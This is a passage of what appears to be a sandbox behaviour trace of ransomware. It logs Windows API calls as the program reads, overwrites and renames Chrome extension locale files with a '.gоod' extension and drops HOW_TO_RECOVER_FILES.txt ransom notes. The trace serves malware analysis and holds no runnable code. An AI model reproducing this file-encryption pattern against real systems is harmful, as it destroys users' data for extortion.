(normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.gоod")) returned 1 [0237.812] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0237.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0237.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0237.813] GetFileType (hFile=0x828) returned 0x1 [0237.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0237.813] GetFileType (hFile=0x828) returned 0x1 [0237.813] WriteFile (in: hFile=0x828, lpBuffer=0x37c6bf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x37c6bf8*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0237.814] CloseHandle (hObject=0x828) returned 1 [0237.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0237.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el", lpFilePart=0x0) returned 0x7b [0237.815] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe832e9a1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83385fe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83385fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0237.816] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe832e9a1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83385fe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83385fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.816] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83385fe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe833d3f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0237.816] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0237.816] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0237.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0237.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0237.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0237.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el", lpFilePart=0x0) returned 0x7b [0237.816] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe832e9a1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83385fe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83385fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0237.817] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe832e9a1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83385fe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe83385fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.817] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83385fe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe833d3f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0237.817] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83385fe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe833d3f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0237.817] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0237.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0237.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0237.817] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json", lpFilePart=0x0) returned 0x89 [0237.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0237.817] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37d6bc8 | out: lpFileInformation=0x37d6bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83385fe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe833d3f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x12a)) returned 1 [0237.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0237.817] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json", lpFilePart=0x0) returned 0x89 [0237.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0237.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0237.818] GetFileType (hFile=0x828) returned 0x1 [0237.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0237.818] GetFileType (hFile=0x828) returned 0x1 [0237.818] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x12a [0237.818] ReadFile (in: hFile=0x828, lpBuffer=0x37d70b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x37d70b0*, lpNumberOfBytesRead=0x209ebc98*=0x12a, lpOverlapped=0x0) returned 1 [0237.819] CloseHandle (hObject=0x828) returned 1 [0237.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json", lpFilePart=0x0) returned 0x89 [0237.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0237.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0237.971] GetFileType (hFile=0x828) returned 0x1 [0237.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0237.971] GetFileType (hFile=0x828) returned 0x1 [0237.971] WriteFile (in: hFile=0x828, lpBuffer=0x37976b0*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x37976b0*, lpNumberOfBytesWritten=0x209ebba8*=0x130, lpOverlapped=0x0) returned 1 [0237.972] CloseHandle (hObject=0x828) returned 1 [0237.972] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json", lpFilePart=0x0) returned 0x89 [0237.972] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0237.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0237.972] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83385fe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe833d3f2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a0e7f3f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0237.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0237.972] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.gоod")) returned 1 [0237.973] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0237.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0237.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0237.974] GetFileType (hFile=0x828) returned 0x1 [0237.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0237.974] GetFileType (hFile=0x828) returned 0x1 [0237.974] WriteFile (in: hFile=0x828, lpBuffer=0x379afe8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x379afe8*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0237.975] CloseHandle (hObject=0x828) returned 1 [0237.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0237.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB", lpFilePart=0x0) returned 0x7e [0237.976] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8355ac3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6df, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe835f6df, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0237.976] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8355ac3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6df, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe835f6df, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.976] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe835f6df, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6d2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0237.976] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0237.976] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0237.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0237.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0237.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0237.977] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB", lpFilePart=0x0) returned 0x7e [0237.977] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8355ac3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6df, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe835f6df, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0237.977] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8355ac3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6df, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe835f6df, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.977] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe835f6df, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6d2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0237.977] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe835f6df, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6d2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0237.977] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0237.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0237.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0237.977] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json", lpFilePart=0x0) returned 0x8c [0237.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0237.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37ab088 | out: lpFileInformation=0x37ab088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe835f6df, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe835f6d2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b450e5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb2)) returned 1 [0237.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0237.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: 